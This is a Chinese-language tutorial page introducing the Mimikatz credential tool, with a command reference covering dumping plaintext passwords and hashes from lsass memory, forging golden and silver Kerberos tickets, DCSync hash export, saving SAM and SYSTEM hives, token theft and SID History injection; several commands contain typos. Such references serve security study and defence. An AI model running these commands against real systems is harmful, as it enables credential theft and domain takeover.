Mimikatz介绍

一、Mimikatz定义

  mimikatz是benjamin使用C语言编写的一款非常强大的安全工具,它可以从机器内存中提取明文密码、密码Hash、PIN码和Kerberos票据等。它的功能非常强大,得到全球安全研究员的广泛使用。

  Mimikatz 是一款功能强大的轻量级调试神器,通过它你可以提升进程权限注入进程读取进程内存,当然他最大的亮点就是他可以直接从 lsass.exe 进程中获取当前登录系统用户名的密码, lsass是微软Windows系统的安全机制它主要用于本地安全和登陆策略,通常我们在登陆系统时输入密码之后,密码便会储存在 lsass内存中,经过其 wdigest 和 tspkg 两个模块调用后,对其使用可逆的算法进行加密并存储在内存之中, 而 mimikatz 正是通过对lsass逆算获取到明文密码!也就是说只要你不重启电脑,就可以通过他获取到登陆密码,只限当前登陆系统!

二、程序发布地址

1、发布地址:http://blog.gentilkiwi.com/mimikatz

2、下载地址:https://github.com/gentilkiwi/mimikatz/releases

三、Mimikatz的功能模块

 crypto                        

加密模块

 sekurlsa        

SekurLSA模块,用来枚举凭据

 kerberos        

Kerberos包模块

 ngc                                

密码学模块

 privilege                

提权

 process                

进程模块

 service                        

服务模块

 lsadump                        

LsaDump模块

 ts                                

终端服务器模块

 event        

事件模块

 misc        

杂项模块

 token                

令牌操作模块

 vault                

Windows凭据模块

 minesweeper                

MinSweeper模块

 dpapi                        

DPAPI模块(通过API或RAW访问,数据保护应用程序编程接口)

 busylight                        

BusyLigh模块

 sysenv                                

系统环境值模块

 sid                                

安全标识符模块

 iis                                

IIS XML 配置模块

 rpc                                

RPC控制

 sr98                                        

SR98设备和T5577目标模块

 rdm                                        

RDM(830AL)设备的射频模块

 acr                                        

ACR模块

 常见模块的有privilege/sekurlsa/kerberos/lsadump/token/sid

四、常用模块详细介绍

1、privilege模块

 1)定义:

该模块主要用于提权,需要管理员身份运行才可以进行提权

 2)操作命令:privilege::debug

2、sekurlsa模块

 1)定义:

该模块主要用于枚举凭据,需要高权限运行,所以需要先用privilege模块提权

 2)操作命令:

①抓取内存中保存用户明文密码

sekurlsa::wdigest

②抓取内存中保存的用户Hash

sekurlsa::msv

③抓取内存中保存用户密码的Key值

sekurlsa::ekeys

④抓取内存中保存的用户所有凭据

sekurlsa::logonpasswords

⑤加载dump文件并导出其中的明文密码

sekurlsa::minidump lsass.dump

sekurlsa::logonpasswords full

⑥导出lsass.exe进程中所有的票据

sekurlsa::tickets /export

3、kerberos模块

 1)定义:

该模块主要用于查看kerberos相关的信息

 2)操作命令:

①查看内存中的Kerberos TGT

kerberos::tgt

②查看内存中所有的Kerberos票据

kerberos::list

③清除票据

kerberos::purge

④将票据注入到内存中

kerberos::ptt xx.kirbi

⑤黄金票据传递攻击

kerberos::golden /user:要伪造的域用户 /domain:域名 /sid:域的sid值 /krbtgt:krbtgt的hash或是AES Key /ptt

⑥白银票据传递攻击

kerberos::golden /user:要伪造的用户 /domain:域名 /sid:域的sid值 /target:服务机器 /service:指定服务,如cifs/ldap /rc4:服务账号的Hash /ptt

4、lsadump模块

 1)定义:

该模块是对Local Security Authority(LSA)进行密码抓取的模块

 2)操作命令:

①通过DCSync导出指定用户密码Hash格式化输出

lsadump::dcsync /domain:test.com /user:krbtgt /csv

②通过DCsync导出指定用户的密码Hash的详细信息

lsadump::dcsync /domain:test.com /user:krbtgt

③通过DCsync导出所有用户的Hash

lsadump::dcsync /domain:test.com /all /csv

④读取所有用户的Hash,需要域控上以管理员权限运行

lsadump::lsa /pathch

⑤从sam.hive和system.hive文件中获得NTLM Hash

reg save hklm\sam sam.hive

reg save hklm\system system.hive

lsadump::sam /sam:sam.hive /system:system.hive

⑥从本地SAM文件中读取密码Hash

token::elevate

lsadump::sam

5、token模块

 1)定义:

该模块是访问令牌相关的模块

 2)操作命令:

①列出当前进程的token信息

token::whoami

token::whoami /full

②列出当前系统中存在的token,高权限列出的token最全

token::list

③窃取指定的token id的token

token::elevate id

④窃取System权限的token(默认)

token::elevate /system

⑤窃取域管理员的token

token::elevate /domain

⑥窃取企业管理员的token

token::elevate /enterpriseadmin

⑦窃取本地管理员的token

token::elevate /admin

⑧窃取Local Service权限的token

token::elevate /localservice

⑨窃取Network Service权限的token

token::elevate /networkservice

⑩恢复之前的token

token::revert

6、sid模块

 1)定义:

该模块是SID相关的模块

 2)操作命令:

①查询指定对象的SID

sid::lookup /name:test

②通过samAccountName属性查询对象的信息

sid::query /sam:test

③通过SID属性查询对象的信息

sid::query /sid:S-1-5-21-2691333271-3572924591-1293602303

④通过 samAccountName 属性修改对象的 SID

sid::patch

sid::modify /sam:test /new:S-1-5-21-2691333271-3572924591-1293602303

⑤通过sid属性修改对象的 SID

sid::patch

sid::modify /sid:S-1-5-21-2691333271-3572924591-1293602303 /newsid::patch:S-1-5-21-2691333271-3572924591-1293602304

⑥通过 samAccountName 属性给对象添加一个SID History属性

sid::patch

sid::add /sam;test /new:S-1-5-21-2691333271-3572924591-1293602303

⑦通过sid属性给对象添加一个SID History属性

sid::patch

sid::add /sid:S-1-5-21-2691333271-3572924591-1293602303 /new:S-1-5-21-2691333271-3572924591-1293602303-500

⑧将administrator的SID 添加到 test的SID History 属性中

sid::path

sid::add /sam:test /new:administrator

⑨清除指定samAccountName对象的SID Historty属性

sid::clear /sam::test

⑩清除指定sid对象SID History属性

sid::clear /sid:S-1-5-21-2691333271-3572924591-1293602303

五、常规的操作使用命令

1、mimikatz # cls -->清屏,类似dos命令cls

2、mimikatz # exit -->退出mimikatz

3、mimikatz #version -->查看当前的mimikatz的版本

4、系统方面的操作使用命令:system

 1)mimikatz #system::user -->查看当前登录的系统用户

 2)mimikazt #system::computer -->返回当前的计算机名称

5、在服务器终端的操作命令: ts

 1)mimikatz #ts::sessions -->显示当前的会话

 2)mimikatz #ts::processes windows-d.vm.nirvana.local -->显示服务器的进程和对应的pid情况等

6、系统服务相关的操作使用命令:service

7、系统进程相关操作的使用命令:process

8、系统线程相关操作使用命令:thread

9、系统句柄相关操作使用命令:handle

10、加密相关操作使用命令:crypto

11、注入操作使用命令:inject

六、其他基础命令

1.cls清屏

2.exit退出

3.version查看mimikatz的版本

4.help查看帮助信息

5.system::user查看当前登录的系统用户

6.system::computer查看计算机名称

7.process::list列出进程

8.process::suspend进程名称 暂停进程 

9.process::stop进程名称 结束进程

10.process::modules列出系统的核心模块及所在位置  

11.service::list列出系统的服务

12.service::remove移除系统的服务

13.service::start stop服务名称 启动或停止服务

14.privilege::list列出权限列表 

15.privilege::enable激活一个或多个权限 

16.privilege::debug提升权限

17.nogpo::cmd打开系统的cmd.exe 

18.nogpo::regedit打开系统的注册表 

19.nogpo::taskmgr打开任务管理器 

20.ts::sessions显示当前的会话 

21.ts::processes显示进程和对应的pid情况等  

22.sekurlsa::wdigest获取本地用户信息及密码 

23.sekurlsa::wdigest获取kerberos用户信息及密码 

24.sekurlsa::tspkg获取tspkg用户信息及密码 

25.sekurlsa::logonPasswords获登陆用户信息及密码 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/489466.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Java版直播商城免 费 搭 建:平台规划与常见营销模式,电商源码、小程序、三级分销及详解

【saas云平台】打造全行业全渠道全场景的saas产品,为经营场景提供一体化解决方案;门店经营区域化、网店经营一体化,本地化、全方位、一站式服务,为多门店提供统一运营解决方案;提供丰富多样的营销玩法覆盖所有经营场景…

在vue中使用echarts饼图示例

1.安装 npm install echarts --save 2.官方示例 option {title: {text: Referer of a Website,subtext: Fake Data,left: center},tooltip: {trigger: item},legend: {orient: vertical,left: left},series: [{name: Access From,type: pie,radius: 50%,data: [{ value: 104…

巧用cpl文件维权和免杀(下)

cpl文件的应用 bypass Windows AppLocker 什么是Windows AppLocker: AppLocker即“应用程序控制策略”,是Windows 7系统中新增加的一项安全功能。在win7以上的系统中默认都集成了该功能。 默认的Applocker规则集合,可以看到cpl并不在默认规则中: 开启Applocker规…

NVIDIA NIM 提供优化的推理微服务以大规模部署 AI 模型

NVIDIA NIM 提供优化的推理微服务以大规模部署 AI 模型 生成式人工智能的采用率显着上升。 在 2022 年 OpenAI ChatGPT 推出的推动下,这项新技术在几个月内就积累了超过 1 亿用户,并推动了几乎所有行业的开发活动激增。 到 2023 年,开发人员…

聊一聊常见的网络安全模型

目录 一、概述 二、基于时间的PDR模型 2.1 模型概念提出者 2.2 模型图 2.3 模型内容 2.3.1 Protection(保护) 2.3.2 Detection(检测) 2.3.3 Response(响应) 2.4 PDR模型思想 2.4.1 PDR模型假设 2…

【k8s】kubeasz 3.6.3 + virtualbox 搭建本地虚拟机openeuler 22.03 三节点集群 离线方案

kubeasz项目源码地址 GitHub - easzlab/kubeasz: 使用Ansible脚本安装K8S集群,介绍组件交互原理,方便直接,不受国内网络环境影响 拉取代码,并切换到最近发布的分支 git clone https://github.com/easzlab/kubeasz cd kubeasz gi…

【openGL4.x手册10】基元程序集和面部剔除

https://www.khronos.org/opengl/wiki/Face_Culling 一、说明 基元汇编是 OpenGL 渲染管道中的阶段,在该阶段,基元被划分为一系列单独的基本基元。经过一些小的处理后,如下所述,它们被传递到光栅器进行渲染。 二 早期原始组装 基…

Spring实例化Bean的三种方式

参考资料: Core Technologies 核心技术 spring实例化bean的三种方式 构造器来实例化bean 静态工厂方法实例化bean 非静态工厂方法实例化bean_spring中有参构造器实例化-CSDN博客 1. 构造函数 1.1. 空参构造函数 下面这样表示调用空参构造函数,使用p…

npm ERR! cb() never called!(已解决)

从仓库拉下来的代码,用npm install时报错 试了很多种方法,结果发现有一种可能是你的node版本过低导致的,可以升级node版本试一下。 node版本升级后,把上一次npm install错误的node_modules删除,重新npm install。

压力测试面试题及答案!

压力测试是软件测试中的一种测试方式,用于评估软件系统在各种压力条件下的性能表现。以下是常见的压力测试面试题及答案: 什么是压力测试? 压力测试是一种测试方式,用于模拟实际用户在正常和峰值负载条件下对软件系统施加的压力&…

java线程池原理浅析

问题与解决: 问题: 查询大数据量的时候,例如一次返回50w数据量的包,循环去查询发现读取会超时。 解决方案: 经过思考采用多线程去分页查询。使用线程池创建多个线程去查询分页后的数据最后汇总一下,解决…

双指针算法_盛水最多的容器

题目: 题目解析: 如图所示,一个数组内部存储的是高度,求数组中,能够组成最大容量的两个元素,需要注意的是容量是 高度*宽度,这里的宽度指的是两个数字之间的距离,且需要注意高度中&…

现代c++内存管理的方式有哪些?

在现代C编程实践中,内存管理是软件开发中的核心议题之一,直接影响着程序的性能、稳定性以及资源的有效利用。C提供了一系列丰富且灵活的内存管理机制,以适应不同场景的需求和应对潜在的内存问题,如内存泄漏、野指针和堆栈溢出等。…

VUE之首次加载项目缓慢

最近公司有个大型的项目,使用vue2开发的,但是最终开发完成之后,项目发布到线上,首次加载项目特别缓慢,有时候至少三十秒才能加载完成,加载太慢了,太影响用户体验了,最近研究了一下优…

java spirng和 mybatis 常用的注解有哪些

当在Java Spring和MyBatis中进行开发时,常用的注解对于简化配置和提高开发效率非常重要。以下是更多常用的注解以及它们的详细说明和用途: 在Spring中常用的注解: Component: 用途:表明一个类会作为组件被Spring容器管…

AJAX(一):初识AJAX、http协议、配置环境、发送AJAX请求、请求时的问题

一、什么是AJAX 1.AJAX 就是异步的JS和XML。通过AJAX 可以在浏览器中向服务器发送异步请求,最大的优势:无刷新获取数据。AJAX 不是新的编程语言,而是一种将现有的标准组合在一起使用的新方式。 2.XML 可扩展标记语言。XML被设计用来传输和…

C++(13) STL 库初识

文章目录 STL 库初识1. STL 库1.1 STL 库的案例1.2 C 标准模板库的三个组件1.3 案例展示 2. 迭代器1.1 概述和分类2.2 代码案例 STL 库初识 1. STL 库 1.1 STL 库的案例 类似学习了模板的概念。CSTL (标准模板库) 是一套功能强大的 C 模板类,提供了通用的模板类和…

【Linux详解】——进程信号

📖 前言:本期介绍进程信号。 目录 🕒 1. 生活角度的信号🕒 2. 技术角度的信号🕘 2.1 Linux中的信号🕘 2.2 进程对信号的处理 🕒 3. 信号的产生方式🕘 3.1 键盘产生🕘 3.2…

svn如何合并代码以及解决合并冲突的问题(把分支代码合并到主版本)

1.选择主版本的文件夹。 ​​​​​​​ 2.选择合并一个不同的分支 3.选择主分支的路径和要合并的代码范围 4.点解next 选择这两个选项 5.然后点击Test merge,查看能否和并成功 有红色的提示,说明是有冲突的, 都是黑色说明能够合并成功 …

【无标题】如何使用 MuLogin 设置代理

如何使用 MuLogin 设置代理 使用 MuLogin 浏览器设置我们的代理,轻松管理多个社交媒体或电子商务帐户。 什么是MuLogin? MuLogin 是一款虚拟反检测浏览器,使用户能够管理多个电子商务、社交媒体和广告帐户,而无需验证码或 IP 禁…